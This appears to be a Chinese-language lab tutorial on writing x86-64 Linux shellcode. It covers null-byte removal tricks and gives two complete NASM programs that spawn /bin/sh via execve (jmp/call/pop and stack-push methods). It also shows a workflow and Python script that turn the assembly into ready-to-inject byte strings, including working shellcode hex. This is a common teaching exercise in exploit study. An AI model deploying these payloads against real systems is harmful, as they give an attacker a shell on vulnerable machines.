SHELLCODE编写
关于汇编代码的相关知识不再赘述,本文将根据实验内容讲解常见的shellcode编写方法
shellcode去0
首先我们要明确一点,正常的shellcode一般都是需要通过strcpy等函数放到指定地点的。那么自然而然,shellcode的机器码中不能包含0x00便成了很重要的一个因素
那么我们该如何去除机器码中的0元素呢?以下介绍了在不同情况下的方法
直接赋值
我们可以将 mov rax,0等指令转化为 xor rax,rax,防止在立即数中出现0x00;如果出现赋非0值比如 mov rax,0x99的情况,则可以采取 xor rax,rax;mov al,0x99,通过对低字节的直接操作来避免立即数中出现0x00
此外,我们还可以通过移位的方式来完成赋值,该方式更加灵活直观。同样存储0x99,我们可以如下操作。
mov rax, 0xFFFFFFFFFFFFFF99
shl rax, 56
shr rax, 56
字符串结尾
众所周知,字符串是以0x00结尾的,则必然会导致0字节的出现,那么我们在汇编代码的编写中就要注意:可以将 db "/bin/sh",0x00更换为 db "/bin/sh",0xff这里的0xff则可以等到后续动态替换
假设我们已将字符串的地址保存到rbx,我们还知道字符串的长度(不包括零)为6,因此可以使用以下指令将0xFF替换为0x00。
xor al, al
mov [rbx+6], al
编写方法一
先直接给出方法一的对应汇编代码
section .text
global _start
_start:
BITS 64
jmp short two
one:
pop rbx
mov [rbx+29], rbx ; store rbx to memory at address rbx + 8
xor rax, rax ; rax = 0
mov [rbx+7], al
mov [rbx+10], al
mov [rbx+28], al
lea rcx,[rbx+8]
mov [rbx+37],rcx
lea rcx,[rbx+11]
mov [rbx+45],rcx
mov [rbx+53], rax ; store rax to memory at address rbx + 16
mov rdi, rbx ; rdi = rbx
lea rsi, [rbx+29] ; rsi = rbx + 8
xor rdx, rdx ; rdx = 0
mov eax, 0xffffff3b ; rax = 59
shl eax, 24
shr eax, 24
syscall
two:
call one
db '/bin/sh', 0xFF ; The command string (terminated by a zero)
db '-c',0xFF ;+8
db 'echo hello;ls -la',0xFF ;+11
db 'AAAAAAAA' ; Place holder for argv[0] ;+29
db 'AAAAAAAA' ; Place holder for argv[1] ;+37
db 'AAAAAAAA' ; Place holder for argv[2] ;+45
db 'AAAAAAAA' ; Place holder for argv[3] ;+53
我们在代码开头使用jmp ,call的连续跳转,可将30行的字符串地址压入栈中,在通过 pop rbx获取字符串部分的基址,便于后续定位
同时此段代码专门为argv数组占位,动态载入程序的真实地址,如下所示。同时使用到了先前所说的去0方法
mov [rbx+29], rbx
mov [rbx+37], rcx
mov [rbx+45], rcx
mov [rbx+53], rax
对代码进行验证


方法二
除了占位法以外,我们还可以使用压栈法进行地址的动态定位来编写shellcode,代码如下
section .text
global _start
_start:
xor rdx, rdx ; 3rd argument (stored in rdx)env
push rdx
mov rax,'/bin//sh'
push rax
mov rdi, rsp ; 1st argument (stored in rdi)
push rdx
push rdi
mov rsi, rsp ; 2nd argument (stored in rsi)argv
xor rax, rax
mov al, 59 ; execve()
syscall
首先 xor rdx,rdx将env数组设为NULL,其次 push rdx;push rax此处的rdx可以作为/bin//sh后的结尾0x00来使用,同时 mov rdi,rsp将字符串地址赋给rdi;
同理 push rdx;push rdi则是按照argv[1],argv[0]的顺序入栈,构造argv数组.再通过 mov rsi,rsp的方式传入数组地址。从而将syscall所需的参数全部凑齐
代码演示结果如下

攻击中使用shellcode
为了在实际攻击中使用shellcode,我们常常将其转化为机器码的形式导入
为了获取纯粹的代码段,我们可以使用指令 nasm -f bin mysh64_yssx.s -o shellcode.bin编译汇编代码(注意,代码中需要显示声明BITs 64/32)
接下来使用 xxd -p -c 20 shellcode.bin获取机器码,结果如下

同时,为了在python中直接导入机器码,我们可以使用python脚本做一点处理
#!/usr/bin/env python3
# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh ="""
4831d25248b82f62696e2f2f73685048
89e752574889e64831c0b03b0f05
"""
sh = ori_sh.replace("\n", "")
length = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + ' "'
for i in range(length):
s += "\\x" + sh[2*i] + sh[2*i+1]
if i > 0 and i % 16 == 15:
s += '"\n' + ' "'
s += '"\n' + ").encode('latin-1')"
print(s)
这样出来的结果就如下图所示,可以直接使用了
